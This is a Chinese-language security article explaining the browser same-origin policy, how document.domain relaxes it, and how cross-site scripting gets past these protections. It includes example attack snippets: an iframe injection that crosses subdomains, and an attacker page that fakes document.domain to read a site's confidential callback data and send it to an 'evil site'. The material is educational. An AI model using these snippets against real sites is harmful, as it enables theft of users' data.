跨站脚本攻击深入解析:安全模型和同源策略

原创
安全 应用安全
在本文中,我们论述浏览器方面的安全措施,以及如何利用跨站脚本(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的安全措施有所了解,所以本文将详细介绍当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

【51CTO.com 独家特稿】跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。

在本文中,我们论述浏览器方面的安全措施,以及如何利用跨站脚本(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的安全措施有所了解,所以本文将详细介绍当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

一、Web安全模型

尽管浏览器的安全措施多种多样,但是要想黑掉一个Web应用,只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立,但是攻击者只要能在出错的地方注入少许JavaScript,所有安全控制几乎全部瓦解——最后还起作用的就是最弱的安全防线:同源策略。同源策略管辖着所有保安措施,然而,由于浏览器及其插件,诸如Acrobat Reader、Flash 和Outlook Express漏洞频出,致使同源策略也频频告破。在本文里,我们主要讨论浏览器的三个安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型


此外,我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。

二、同源策略


同源策略又名同域策略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。 同源策略,简单地说就是要求动态内容(例如,JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies,而不能阅读来自不同源的内容。更为有趣的是,同源策略对写操作没有任何限制。因而,一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求,尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。
解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么,这些JavaScript可以读/写一些页面,但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。

URL 能否访问这个URL 原因
http://foo.com/index.html
可以。
协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意,两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 协议和主机名匹配。
端口没有显式说明。


该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2,而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL,HTTP协议匹配,端口是80(HTTP默认的端口),主机名也一样。
https://foo.com/bar/baz.html
不可以。 协议不同,这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 两个主机名不同,这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080,而前面的端口被假定为80。
上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置,可以使浏览器有限度地违反同源策略,即,如果http://www.foo.com/bar/baz.html页面中含有下列内容:
< script >
document.domain = "foo.com";
< / script >
那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com/bar/baz.html发送HTTP请求,并可以读取其内容。在此种情况下,如果攻击者能够向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的话,那么他同时也能在http://www.foo.com/bar/baz.html中注入JavaScript代码。
为此,攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也设为foo.com)中载入一个iframe,然后就可以通过JavaScript来访问该iframe的内容了。例如,http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数:
< iframe src="http://www.foo.com/bar/baz.html"
onload="frames[0].document.body.innerHTML+=’onerror=alert(1)’">< / iframe >
这样,document.domain将允许攻击者跨域活动(域际旅行)。注意,你不能在document.domain变量中放入任何域名,相反,只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名,如www.foo.com的上级域名是foo.com 。
在Firefox浏览器中,攻击者可以利用__defineGetter__()来操纵document.domain,命令document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略,因为它只对JavaScript引擎有影响,而不会影响底层的文档对象模型(DOM),然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如,假如一个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示:
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}


通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:
< script >
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >